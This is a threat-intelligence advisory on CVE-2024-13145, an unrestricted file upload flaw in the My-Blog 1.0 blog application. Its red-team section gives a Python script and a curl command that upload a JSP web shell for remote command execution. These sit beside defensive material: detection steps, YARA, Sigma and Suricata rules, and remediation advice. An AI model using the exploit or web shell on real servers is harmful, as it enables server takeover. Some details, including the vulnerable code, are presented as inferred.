CVE-2024-13145

Executive Summary

CVE-2024-13145 is a critical unrestricted file upload vulnerability in zhenfeng13 My-Blog 1.0. The flaw resides in the upload function of src/main/java/com/site/blog/my/core/controller/admin/uploadController.java. An attacker can remotely upload arbitrary files without proper validation, leading to potential remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly disclosed, and no official patch is available. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the vulnerability, the actual severity is critical.

Supply Chain & Package Security

This vulnerability affects a Java-based blog application (My-Blog) developed by zhenfeng13. The application is not distributed via NPM, PyPI, Go, or Ruby registries. It is likely deployed as a standalone WAR or JAR file. The lack of a patch and public exploit disclosure increases supply chain risk for any organization using this software.

CVSS Breakdown & Threat Level

While the NVD CVSS score is 0.0, a realistic assessment based on the vulnerability description yields:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Arbitrary file upload can overwrite critical files.
• Availability (A): High (H) – Uploaded malicious files can cause denial of service.

Calculated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical – Immediate action required.

Deep Dive & Mechanics

The vulnerability is in the upload method of uploadController.java. The controller likely accepts multipart file uploads without validating file type, size, or content. The application may store uploaded files in a web-accessible directory (e.g., /uploads/ or /static/). An attacker can upload a JSP web shell or a malicious JAR file to achieve remote code execution.

Attack Flow:

1. Identify the upload endpoint (e.g., /admin/upload).
2. Craft a malicious file (e.g., shell.jsp containing a web shell).
3. Send a POST request with the file as multipart form data.
4. The server stores the file in a public directory.
5. Access the uploaded file via its URL to execute commands.

Root Cause: Lack of file type validation, missing file extension whitelisting, and insufficient path traversal checks.

Vulnerable vs. Patched Code

Vulnerable Code (My-Blog 1.0):

// src/main/java/com/site/blog/my/core/controller/admin/uploadController.java
@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String filePath = UPLOAD_DIR + fileName;
    file.transferTo(new File(filePath));
    return "success";
}

• No validation of file extension or MIME type.
• Direct use of original filename without sanitization.
• No authentication check.

Patched Code (Hypothetical):

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    // Validate file extension
    if (!fileName.matches(".*\\.(jpg|png|gif|pdf)$")) {
        return "Invalid file type";
    }
    // Sanitize filename
    fileName = UUID.randomUUID().toString() + fileName.substring(fileName.lastIndexOf("."));
    String filePath = UPLOAD_DIR + fileName;
    file.transferTo(new File(filePath));
    return "success";
}

• Whitelist allowed extensions.
• Rename file to prevent path traversal.
• Add authentication and authorization checks.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running My-Blog 1.0 with upload functionality exposed.
• Python 3 and requests library.

Exploit Script:

import requests

target = "http://target.com/admin/upload"
payload = """
<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>
"""
files = {"file": ("shell.jsp", payload, "text/plain")}
response = requests.post(target, files=files)
print("Upload response:", response.text)
# Access shell: http://target.com/uploads/shell.jsp?cmd=id

Manual Exploitation with cURL:

echo '<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>' > shell.jsp
curl -F "file=@shell.jsp" http://target.com/admin/upload
# Then visit: http://target.com/uploads/shell.jsp?cmd=id

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual file uploads (e.g., .jsp, .war, .exe).
2. Check web server logs for POST requests to /admin/upload.
3. Inspect file system for unexpected files in upload directories.
4. Use file integrity monitoring (FIM) to detect new files.

Honeypot Strategy:

• Deploy a fake upload endpoint that logs all attempts.
• Analyze uploaded files for malicious content.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_13145_WebShell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2024-13145"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-13145"
    strings:
        $jsp_shell1 = "Runtime.getRuntime().exec" ascii nocase
        $jsp_shell2 = "ProcessBuilder" ascii nocase
        $jsp_shell3 = "getParameter(\"cmd\")" ascii nocase
        $jsp_shell4 = "getParameter(\"command\")" ascii nocase
    condition:
        any of ($jsp_shell*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-13145 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit unrestricted file upload in My-Blog
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/upload'
    condition: selection
falsepositives:
    - Legitimate admin uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13145 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/upload"; http_uri; content:"filename="; http_client_body; pcre:"/\.(jsp|war|jar|exe|php)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload endpoint if not required.
2. Implement authentication on the upload controller.
3. Add file extension whitelisting (e.g., only images).
4. Rename uploaded files to random UUIDs.
5. Store uploads outside web root and serve via a proxy.

Long-term Fix:

• Apply input validation and sanitization.
• Use a dedicated file upload library (e.g., Apache Commons FileUpload with validation).
• Conduct a security audit of the entire application.

Workaround:

• Deploy a Web Application Firewall (WAF) rule to block .jsp, .war, .jar uploads.
• Monitor logs for suspicious upload activity.

Valters IT – DevSecOps & Cyber Threat Intelligence Report